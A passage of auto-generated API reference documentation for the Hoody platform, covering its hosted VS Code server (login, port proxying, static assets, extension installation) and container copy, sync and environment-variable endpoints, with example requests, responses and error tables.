  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.code.health.check();
```


```json
{
  "status": "ok",
  "service": "hoody-code",
  "built": "2026-04-13T14:30:00Z",
  "started": "2026-04-13T15:00:00Z",
  "memory": {
    "rss": 134217728,
    "heap": 62914560
  },
  "fds": 47,
  "pid": 1284,
  "ip": "198.51.100.42",
  "userAgent": "HoodyMonitor/1.0"
}
```



#### Response fields

| Field | Type | Description |
|-------|------|-------------|
| `status` | string | Service status. Always `"ok"` when healthy. |
| `service` | string | Service identifier. Always `"hoody-code"`. |
| `built` | string \| null | ISO 8601 build timestamp (mtime of the compiled entry file), or `null` if unavailable. |
| `started` | string | ISO 8601 timestamp when the process started. |
| `memory` | object \| null | Process memory usage. Contains `rss` (integer, bytes) and `heap` (integer \| null, V8 heap used in bytes). |
| `fds` | integer \| null | Open file descriptor count (from `/proc/self/fd`), or `null` if unavailable. |
| `pid` | integer | Process ID. |
| `ip` | string | Remote peer IP (`req.socket.remoteAddress`, never `X-Forwarded-For`). |
| `userAgent` | string \| null | Request `User-Agent` header. |

---

### `GET /api/v1/code/update/check`

Checks for available Hoody Code updates. This endpoint queries the GitHub releases API (unless disabled with `--disable-update-check`) and caches results for 6 hours, notifying clients at most once per week.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/code/update/check" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.code.health.checkUpdate();
```


```json
{
  "current": "4.0.0",
  "latest": "4.1.0",
  "updateAvailable": true
}
```



#### Response fields

| Field | Type | Description |
|-------|------|-------------|
| `current` | string | Currently installed version (e.g. `"4.0.0"`). |
| `latest` | string | Latest available version (e.g. `"4.1.0"`). |
| `updateAvailable` | boolean | Whether a newer version is available. |

---

# Hoody Code Orchestrator

**Page:** api/code/index

[Download Raw Markdown](./api/code/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody Code Orchestrator serves the VS Code web interface, manages password-based authentication, exposes static assets, and provides reverse-proxy routing to local ports. Use these endpoints to embed VS Code in your application, secure access with login, proxy local development servers, or serve PWA/SEO files.

## VS Code Web Interface

### `GET /api/v1/code`

Returns the main VS Code web interface as HTML. If authentication is enabled and no session is present, the response is a redirect to `/login`. The endpoint accepts optional query parameters to open a specific folder or workspace, or to launch VS Code in extension-only mode for embedding a single extension's UI.

When no `folder` or `workspace` is provided, the server uses the last opened workspace (or the CLI argument on first start). Query parameters are stored in settings and applied to the next session.


Add `?extension=PUBLISHER.NAME` to launch VS Code in extension-only mode. The file explorer is hidden and the extension's views are prominently displayed — ideal for kiosk-style apps built on top of a single extension.


### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `folder` | query | string | No | Absolute path to folder to open in VS Code. Takes precedence over `workspace`. Stored in settings for the next session. |
| `workspace` | query | string | No | Absolute path to VS Code workspace file (`.code-workspace`). Used when `folder` is not provided. Stored in settings for the next session. |
| `extension` | query | string | No | Extension identifier in the format `PUBLISHER.NAME`. When set, opens VS Code in extension-only mode. Examples: `ms-python.python`, `ms-toolsai.jupyter`, `redhat.vscode-yaml`. |
| `ew` | query | boolean | No | "Empty Window" flag. When `true`, clears the last opened folder or workspace from settings. |
| `locale` | query | string | No | Display language for the VS Code UI as an IETF language tag (e.g., `en`, `fr`, `de`, `ja`, `zh-CN`). |

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/api/v1/code?folder=/home/user/project&locale=en"
```
```typescript
await client.code.vscode.getVSCode({
  folder: "/home/user/project",
  locale: "en"
});
```
```html
<!DOCTYPE html>
<html>
<head>
    <title>VS Code</title>
    <meta charset="utf-8">
</head>
<body>
    <!-- VS Code web interface mounts here -->
</body>
</html>
```

**Response headers**

| Header | Description |
|--------|-------------|
| `Content-Type` | `text/html; charset=utf-8` |
| `Content-Security-Policy` | CSP directives. Automatically updated when `--external-js` or `--external-css` is configured. |


```bash
curl -i "https://code.example.com/api/v1/code?folder=/home/user/project"
```
```typescript
await client.code.vscode.getVSCode({ folder: "/home/user/project" });
```
```http
HTTP/1.1 302 Found
Location: /login?to=%2F%3Ffolder%3D%2Fhome%2Fuser%2Fproject
```

The client should follow the redirect to the login page. The original target URL is preserved in the `to` query parameter.



---

### `GET /api/v1/code/manifest.json`

Returns the Progressive Web App manifest used to install Hoody Code as a desktop-like application. The manifest name is configurable via the `--app-name` server flag. Icons are served from the same origin and the display mode is `fullscreen` with `window-controls-overlay`.

### Parameters

This endpoint takes no parameters.

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/api/v1/code/manifest.json"
```
```typescript
await client.code.vscode.getManifest();
```
```json
{
  "name": "hoody-code",
  "short_name": "hoody-code",
  "start_url": ".",
  "display": "fullscreen",
  "display_override": ["window-controls-overlay"],
  "description": "Run Code on a remote server.",
  "icons": [
    {
      "src": "/_static/out/browser/media/icon-192.png",
      "type": "image/png",
      "sizes": "192x192",
      "purpose": "any"
    },
    {
      "src": "/_static/out/browser/media/icon-512.png",
      "type": "image/png",
      "sizes": "512x512",
      "purpose": "any"
    },
    {
      "src": "/_static/out/browser/media/icon-maskable-512.png",
      "type": "image/png",
      "sizes": "512x512",
      "purpose": "maskable"
    }
  ]
}
```



---

### `POST /api/v1/code/mint-key`

Generates or retrieves the server's 256-bit (32-byte) web key half used by VS Code for secure client–server communication. The key is persisted to `user-data-dir/serve-web-key-half` and reused across server restarts.

### Parameters

This endpoint takes no parameters.

### Request Body

This endpoint takes no request body.

### Response



```bash
curl -X POST "https://code.example.com/api/v1/code/mint-key"
```
```typescript
await client.code.vscode.mintKey();
```
```
<binary content: 32 bytes of key material>
```

The response is `application/octet-stream` with exactly 32 bytes.



---

## Authentication

### `GET /api/v1/code/login`

Returns the login page HTML. This endpoint is only available when authentication is set to `password`. If the user is already authenticated, the response is a `302` redirect to the target page (defaulting to `/`).

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `to` | query | string | No | URL to redirect to after successful login. Defaults to `"/"`. |

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/api/v1/code/login?to=%2Fprojects%2Fhoody"
```
```typescript
await client.code.auth.getLoginPage({ to: "/projects/hoody" });
```
```html
<!DOCTYPE html>
<html>
<head>
    <title>Login - Hoody Code</title>
</head>
<body>
    <form method="POST" action="/api/v1/code/login?to=%2Fprojects%2Fhoody">
        <input type="password" name="password" autofocus required />
        <button type="submit">Sign in</button>
    </form>
</body>
</html>
```


```bash
curl -i "https://code.example.com/api/v1/code/login"
```
```typescript
await client.code.auth.getLoginPage();
```
```http
HTTP/1.1 302 Found
Location: /
```

Issued when the session cookie is valid and the user is already authenticated.



---

### `POST /api/v1/code/login`

Authenticates the user with a password and sets a session cookie on success. Passwords are verified against an argon2 hash (when `--hashed-password` is used) or a SHA-256 hash (when `--password` is used). The endpoint is rate-limited to 2 attempts per minute and 12 attempts per hour.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `to` | query | string | No | URL to redirect to after successful login. Defaults to `"/"`. |

### Request Body

The body is sent as `application/x-www-form-urlencoded`.

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `password` | string (`password`) | Yes | Password to authenticate with. |

### Response



```bash
curl -X POST "https://code.example.com/api/v1/code/login?to=%2Fprojects%2Fhoody" \
  -d "password=hunter2"
```
```typescript
await client.code.auth.login({
  to: "/projects/hoody",
  password: "hunter2"
});
```
```http
HTTP/1.1 302 Found
Location: /projects/hoody
Set-Cookie: hoody.session=...; HttpOnly; SameSite=Lax
```

Issued on successful authentication. The session cookie is set and the client is redirected to the `to` URL (or `/`).


```bash
curl -X POST "https://code.example.com/api/v1/code/login" \
  -d "password=wrong"
```
```typescript
await client.code.auth.login({ password: "wrong" });
```
```html
<!DOCTYPE html>
<html>
<head>
    <title>Login - Hoody Code</title>
</head>
<body>
    <form method="POST" action="/api/v1/code/login">
        <p class="error">Invalid password</p>
        <input type="password" name="password" autofocus required />
        <button type="submit">Sign in</button>
    </form>
</body>
</html>
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_PASSWORD` | Invalid password | The password provided is incorrect | Check your password and try again |
| `RATE_LIMITED` | Too many login attempts | Rate limit exceeded (2 attempts/min or 12 attempts/hour) | Wait a few minutes before trying again |



---

### `GET /api/v1/code/logout`

Clears the session cookie and redirects to the home page. Only available when authentication is enabled.

### Parameters

This endpoint takes no parameters.

### Request Body

This endpoint takes no request body.

### Response



```bash
curl -i "https://code.example.com/api/v1/code/logout"
```
```typescript
await client.code.auth.logout();
```
```http
HTTP/1.1 302 Found
Location: /
Set-Cookie: hoody.session=; Max-Age=0; Path=/
```



---

## Port Proxying

The proxy endpoints let you expose any service running on a local port of the host running Hoody Code. The two flavors differ in how the URL path is forwarded.

### `GET /api/v1/code/proxy/{port}/{path}`

Proxies a request to a local port, stripping `/proxy/:port` from the path before forwarding. For example, `/proxy/3000/api/users` is forwarded to `http://localhost:3000/api/users`. Supports all HTTP methods, WebSocket upgrades, and requires authentication.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `port` | path | integer | Yes | Local port to proxy to. |
| `path` | path | string | Yes | Path to append to the proxied request. |

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/api/v1/code/proxy/3000/api/users"
```
```typescript
await client.code.proxy.resolve({ port: 3000, path: "api/users" });
```
```
<proxied response from http://localhost:3000/api/users>
```


```bash
curl -i "https://code.example.com/api/v1/code/proxy/3000/api/users"
```
```typescript
await client.code.proxy.resolve({ port: 3000, path: "api/users" });
```
```http
HTTP/1.1 401 Unauthorized
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `AUTHENTICATION_REQUIRED` | Authentication required | You must be logged in to access proxied ports | Log in with your password first |


```bash
curl -i "https://code.example.com/api/v1/code/proxy/3000/api/users"
```
```typescript
await client.code.proxy.resolve({ port: 3000, path: "api/users" });
```
```http
HTTP/1.1 502 Bad Gateway
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PORT_UNREACHABLE` | Cannot connect to local port | The specified port is not accessible or no service is running | Verify the application is running on the specified port |



---

### `GET /api/v1/code/absproxy/{port}/{path}`

Proxies a request to a local port while preserving the full path, including `/absproxy/:port/`. Use this when the proxied app must know it is running under a subpath. The base path can be customized via `--abs-proxy-base-path`.


The key difference between `/proxy/:port/*` and `/absproxy/:port/*` is that the absolute variant keeps the full path in the forwarded request. The target app must be configured to serve from `/absproxy/:port/`.


### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `port` | path | integer | Yes | Local port to proxy to. |
| `path` | path | string | Yes | Path (preserved in the forwarded request). |

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/api/v1/code/absproxy/8080/dashboard"
```
```typescript
await client.code.proxy.resolveAbsolute({ port: 8080, path: "dashboard" });
```
```
<proxied response from http://localhost:8080/absproxy/8080/dashboard>
```


```bash
curl -i "https://code.example.com/api/v1/code/absproxy/8080/dashboard"
```
```typescript
await client.code.proxy.resolveAbsolute({ port: 8080, path: "dashboard" });
```
```http
HTTP/1.1 401 Unauthorized
```


```bash
curl -i "https://code.example.com/api/v1/code/absproxy/8080/dashboard"
```
```typescript
await client.code.proxy.resolveAbsolute({ port: 8080, path: "dashboard" });
```
```http
HTTP/1.1 502 Bad Gateway
```



---

## Static Assets

### `GET /_static/{path}`

Serves compiled static files from the build directory: JavaScript, CSS, images, icons, and the service worker. Cache headers are tied to the git commit in production and disabled in development mode. The service worker at `/_static/out/browser/serviceWorker.js` is served with the special `Service-Worker-Allowed: /` header so it can register at the root scope.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Path to static file. |

### Request Body

This endpoint takes no request body.

### Response



```bash
curl -i "https://code.example.com/_static/out/browser/workbench.html"
```
```typescript
await client.code.static.get({ path: "out/browser/workbench.html" });
```
```http
HTTP/1.1 200 OK
Content-Type: text/html
Cache-Control: public, max-age=31536000, immutable
Service-Worker-Allowed: /
```

**Response headers**

| Header | Description |
|--------|-------------|
| `Cache-Control` | Long-lived cache header in production, no cache in development. |
| `Service-Worker-Allowed` | Set to `/` for service worker files only. |


```bash
curl -i "https://code.example.com/_static/missing.js"
```
```typescript
await client.code.static.get({ path: "missing.js" });
```
```http
HTTP/1.1 404 Not Found
```



---

### `GET /hoody-code/injected/{script}`

Serves injected JavaScript files from the `extra/injected/` directory. These scripts are loaded sequentially after window load when the `--hoody-code` flag is enabled, and can be used to customize behavior or branding. Also available under `/vscode/hoody-code/injected/{script}`.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `script` | path | string | Yes | Script filename. |

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/hoody-code/injected/branding.js"
```
```typescript
await client.code.static.getInjectedScript({ script: "branding.js" });
```
```javascript
// branding.js — custom branding injected into VS Code
(function () {
  const style = document.createElement("style");
  style.textContent = `
    .monaco-workbench .titlebar h2 {
      font-family: "Inter", sans-serif;
    }
  `;
  document.head.appendChild(style);
})();
```


```bash
curl -i "https://code.example.com/hoody-code/injected/missing.js"
```
```typescript
await client.code.static.getInjectedScript({ script: "missing.js" });
```
```http
HTTP/1.1 404 Not Found
```



---

### `GET /robots.txt`

Returns the `robots.txt` file used by crawlers to discover crawl policies.

### Parameters

This endpoint takes no parameters.

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/robots.txt"
```
```typescript
await client.code.static.getRobots();
```
```
User-agent: *
Disallow: /

Sitemap: https://code.example.com/sitemap.xml
```



---

### `GET /security.txt`

Returns the `security.txt` file for responsible vulnerability disclosure. Also served at `/.well-known/security.txt`.

### Parameters

This endpoint takes no parameters.

### Request Body

This endpoint takes no request body.

### Response



```bash
curl "https://code.example.com/security.txt"
```
```typescript
await client.code.static.getSecurityPolicy();
```
```
Contact: mailto:security@example.com
Expires: 2026-12-31T23:59:59z
Preferred-Languages: en
Canonical: https://code.example.com/.well-known/security.txt
```

---

# Instance Management API

**Page:** api/code/instance-management

[Download Raw Markdown](./api/code/instance-management.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Instance Management API

Manage VS Code extensions programmatically. Use these endpoints to list installed extensions and install new ones from remote VSIX URLs, enabling automated deployment workflows and LLM-driven extension management.


Only install extensions from trusted sources. The install endpoint downloads and executes VSIX packages with full extension privileges.


---

### `GET /api/v1/code/extensions/list`

Returns a list of all installed VS Code extensions in the extensions directory.

This endpoint is useful for:
- Verifying extension installation
- Inventory management
- Debugging extension issues
- Automated testing

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/code/extensions/list" \
  -H "Authorization: Bearer <token>"
```


```javascript
const result = await client.code.extensions.listIterator();

for await (const page of result) {
  console.log(page);
}
```


```json
{
  "success": true,
  "extensionsDir": "/home/user/.local/share/hoody-code/extensions",
  "count": 3,
  "extensions": [
    "ms-python.python-2023.1.0",
    "ms-toolsai.jupyter-2023.2.0",
    "github.copilot-1.67.0"
  ]
}
```

Response when no extensions are installed:

```json
{
  "success": true,
  "extensionsDir": "/home/user/.local/share/hoody-code/extensions",
  "count": 0,
  "extensions": []
}
```


```json
{
  "success": false,
  "error": "Failed to read extensions directory: EACCES"
}
```



---

### `POST /api/v1/code/extensions/install`

Install a VS Code extension by downloading and installing a VSIX file from a URL.

This endpoint allows remote installation of extensions, perfect for:
- Automated deployment workflows
- Custom extension distribution
- Programmatic extension management
- LLM-driven extension installation

The VSIX file is downloaded to a cache directory and then installed using VS Code's extension manager. If the extension is already cached, the cached version is used.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `url` | string (uri) | Yes | URL to the VSIX file to install. Supports HTTPS URLs (recommended) and HTTP URLs. |
| `asBuiltin` | boolean | No | If `true`, install as a system/built-in extension. Built-in extensions cannot be uninstalled by users. Default: `false` |



```bash
curl -X POST "https://api.hoody.com/api/v1/code/extensions/install" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://github.com/microsoft/vscode-python/releases/download/2023.1.0/ms-python-python-2023.1.0.vsix",
    "asBuiltin": false
  }'
```


```javascript
const result = await client.code.extensions.install({
  url: "https://github.com/microsoft/vscode-python/releases/download/2023.1.0/ms-python-python-2023.1.0.vsix",
  asBuiltin: false
});

console.log(result);
```


```json
{
  "success": true,
  "message": "Extension installed successfully",
  "url": "https://example.com/my-extension.vsix",
  "vsixPath": "/home/user/.local/share/hoody-code/vsix-cache/a1b2c3d4e5f6-my-extension.vsix",
  "asBuiltin": false,
  "installed": true
}
```


```json
{
  "success": false,
  "error": "Missing or invalid 'url' parameter"
}
```

Response when the URL is malformed:

```json
{
  "success": false,
  "error": "Invalid URL: not-a-url",
  "url": "not-a-url"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_URL` | Missing URL parameter | The required `url` parameter was not provided | Include a valid VSIX URL in the request body |
| `INVALID_URL_FORMAT` | Invalid URL format | The provided URL is not a valid HTTPS or HTTP URL | Check the URL format and try again |


```json
{
  "success": false,
  "error": "HTTP 404 while downloading https://example.com/missing.vsix",
  "url": "https://example.com/missing.vsix"
}
```

Response when the VSIX fails to install:

```json
{
  "success": false,
  "error": "Installation failed: Extension is incompatible",
  "url": "https://example.com/extension.vsix"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DOWNLOAD_FAILED` | Failed to download VSIX | Unable to download the extension file from the provided URL | Check if the URL is accessible and try again |
| `INSTALLATION_FAILED` | Extension installation failed | VS Code failed to install the extension (may be incompatible or corrupted) | Verify the VSIX file is valid and compatible with this VS Code version |

---

# Code:auth

**Page:** api/code-auth

[Download Raw Markdown](./api/code-auth.md)

---

## API Endpoints Summary

- **GET** `/api/v1/code/login` — Get login page
- **POST** `/api/v1/code/login` — Submit login credentials
- **GET** `/api/v1/code/logout` — Logout

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Code:extensions

**Page:** api/code-extensions

[Download Raw Markdown](./api/code-extensions.md)

---

## API Endpoints Summary

- **POST** `/api/v1/code/extensions/install` — Install VS Code extension from URL
- **GET** `/api/v1/code/extensions/list` — List installed extensions

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Code:health

**Page:** api/code-health

[Download Raw Markdown](./api/code-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/code/health` — Service health check
- **GET** `/api/v1/code/update/check` — Check for updates

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Code:proxy

**Page:** api/code-proxy

[Download Raw Markdown](./api/code-proxy.md)

---

## API Endpoints Summary

- **GET** `/api/v1/code/proxy/{port}/{path}` — Proxy to local port (path-based)
- **GET** `/api/v1/code/absproxy/{port}/{path}` — Proxy to local port (absolute path)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Code:static

**Page:** api/code-static

[Download Raw Markdown](./api/code-static.md)

---

## API Endpoints Summary

- **GET** `/security.txt` — Get security policy
- **GET** `/robots.txt` — Get robots.txt
- **GET** `/_static/{path}` — Get static asset
- **GET** `/hoody-code/injected/{script}` — Get Hoody Code injected script

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Code:vscode

**Page:** api/code-vscode

[Download Raw Markdown](./api/code-vscode.md)

---

## API Endpoints Summary

- **GET** `/api/v1/code` — Get VS Code web interface
- **GET** `/api/v1/code/manifest.json` — Get PWA manifest
- **POST** `/api/v1/code/mint-key` — Generate server web key

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Container Copy & Sync

**Page:** api/container-copy-sync

[Download Raw Markdown](./api/container-copy-sync.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Container Copy & Sync

These endpoints duplicate an existing container into a different project or server, and synchronize a previously-copied container with its source. Both operations run asynchronously; the new or target container transitions to `running` once the background job finishes.

Use copy to provision a working duplicate of a base container, and sync to pull incremental updates from the original after the copy exists.

## Copy a container

`POST /api/v1/containers/{id}/copy`

Creates an asynchronous copy of an existing container. The new container starts automatically on success.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the source container to copy |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `target_project_id` | string | Yes | ID of the project where the copy will be created |
| `target_server_id` | string | No | ID of the server where the copy will be created (defaults to source server) |
| `name` | string | No | Name for the copied container (auto-generated if not provided) |
| `ssh_public_key` | string | No | SSH public key for the copied container (must be unique, not inherited from source) |
| `source_snapshot` | string | No | Specific snapshot to copy from (copies latest state if not provided) |
| `copy_firewall_rules` | boolean | No | Whether to copy firewall rules (ACL) from source container to target container. Default: `false` |
| `copy_network_rules` | boolean | No | Whether to copy network rules/settings from source container to target container. Default: `false` |



```bash
curl -X POST "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439011/copy" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "target_project_id": "507f1f77bcf86cd799439033",
    "target_server_id": "507f1f77bcf86cd799439044",
    "name": "web-app-staging",
    "copy_firewall_rules": true,
    "copy_network_rules": true
  }'
```


```ts
const result = await client.api.containers.copy({
  id: "507f1f77bcf86cd799439011",
  data: {
    target_project_id: "507f1f77bcf86cd799439033",
    target_server_id: "507f1f77bcf86cd799439044",
    name: "web-app-staging",
    copy_firewall_rules: true,
    copy_network_rules: true
  }
});
```


```json
{
  "statusCode": 201,
  "message": "Container copy initiated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439099",
    "name": "web-app-staging",
    "status": "copying",
    "source_container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "project_alias": "production",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "web-app-staging",
    "server": {
      "name": "node-sg-sin-1",
      "country": "SG",
      "country_name": "Singapore",
      "city": "Singapore",
      "region": "Asia Pacific",
      "datacenter": "SIN-DC1",
      "is_free": true,
      "specs": {
        "cpu_cores": null,
        "ram_gb": null,
        "disk_gb": 20,
        "shared_compute": true
      }
    },
    "ssh_hostname": "507f1f77bcf86cd799439033-507f1f77bcf86cd799439099-ssh.node-sg-sin-1.containers.hoody.icu",
    "color": "#3B82F6",
    "container_image": "ubuntu:22.04",
    "ai": false,
    "hoody_kit": true,
    "dev_kit": true,
    "autostart": true,
    "ramdisk": false,
    "prespawn": false,
    "is_default": false,
    "container_image_id": null,
    "environment_vars": {},
    "volumes": {},
    "ssh_public_key": null,
    "comment": null,
    "copy_firewall_rules": true,
    "copy_network_rules": true,
    "created_at": "2026-01-15T10:30:00.000Z",
    "updated_at": "2026-01-15T10:30:00.000Z",
    "realm_ids": []
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid container name"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `INVALID_CONTAINER_NAME` | Invalid container name | Container name must be 3-100 characters, alphanumeric with hyphens and underscores. | Use a valid name between 3 and 100 characters containing only a-z, A-Z, 0-9, -, and _. |
| `SERVER_CONTAINER_LIMIT` | Server container limit reached | The target server is at its maximum number of live containers (explicit max_containers, or the free-tier default). | Delete an existing container on this server, or create the container on a different server. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Source container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_CONTAINER_NOT_FOUND` | Source container not found | The source container specified for a copy or sync operation does not exist. | Verify the source container ID is correct. |
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Container name already in use within the project"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NAME_IN_USE` | Container name already in use | A container with this name already exists in the project. | Choose a different name for your container. |
| `SSH_PUBLIC_KEY_IN_USE` | SSH public key already in use | SSH public keys must be unique per container. A single public key cannot be assigned to multiple containers because it is used for routing SSH connections. | Generate a new SSH key pair for this container, or remove the key from the other container before reusing it. |
| `OPERATION_STATE_CONFLICT` | Container State Conflict | The operation cannot be performed because the container is not in the correct state. | Check the container's current status. For example, a container must be stopped to be started. |



## Sync a container

`POST /api/v1/containers/{id}/sync`

Performs an incremental sync from the source container to this container. Only works for containers that were created via the copy operation. The sync runs asynchronously.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to sync (must have been created via copy) |

This endpoint takes no request body.



```bash
curl -X POST "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439099/sync" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.api.containers.sync({
  id: "507f1f77bcf86cd799439099"
});
```


```json
{
  "statusCode": 200,
  "message": "Container sync initiated successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439099",
    "source_container_id": "507f1f77bcf86cd799439011",
    "status": "copying"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `SERVER_CONTAINER_LIMIT` | Server container limit reached | The target server is at its maximum number of live containers (explicit max_containers, or the free-tier default). | Delete an existing container on this server, or create the container on a different server. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Container was not created from a copy, sync is not possible."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_COPIED` | Container Not a Copy | The sync operation can only be performed on a container that was created by copying another. | This operation is only valid for containers with a source_container_id. |
| `OPERATION_STATE_CONFLICT` | Container State Conflict | The operation cannot be performed because the container is not in the correct state. | Check the container's current status. For example, a container must be stopped to be started. |




Sync is incremental: only changes made to the source container after the initial copy (or after the last sync) are applied to the target. Container data on the target that was added independently is not preserved if it conflicts with the source.

---

# Container Environment Variables

**Page:** api/container-env

[Download Raw Markdown](./api/container-env.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Container Environment Variables API lets you list, set, bulk-update, and delete environment variables on a container. Use these endpoints to manage runtime configuration without rebuilding images. All write operations take effect on the next container restart.


Keys prefixed with `HOODY_` are reserved for internal use and cannot be set or deleted by users. All other keys must match the pattern `^[a-zA-Z_][a-zA-Z0-9_]*$` and must not start with the reserved prefix.


## `GET /api/v1/containers/{id}/env`

Get all environment variables for a container.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Response



```json
{
  "statusCode": 200,
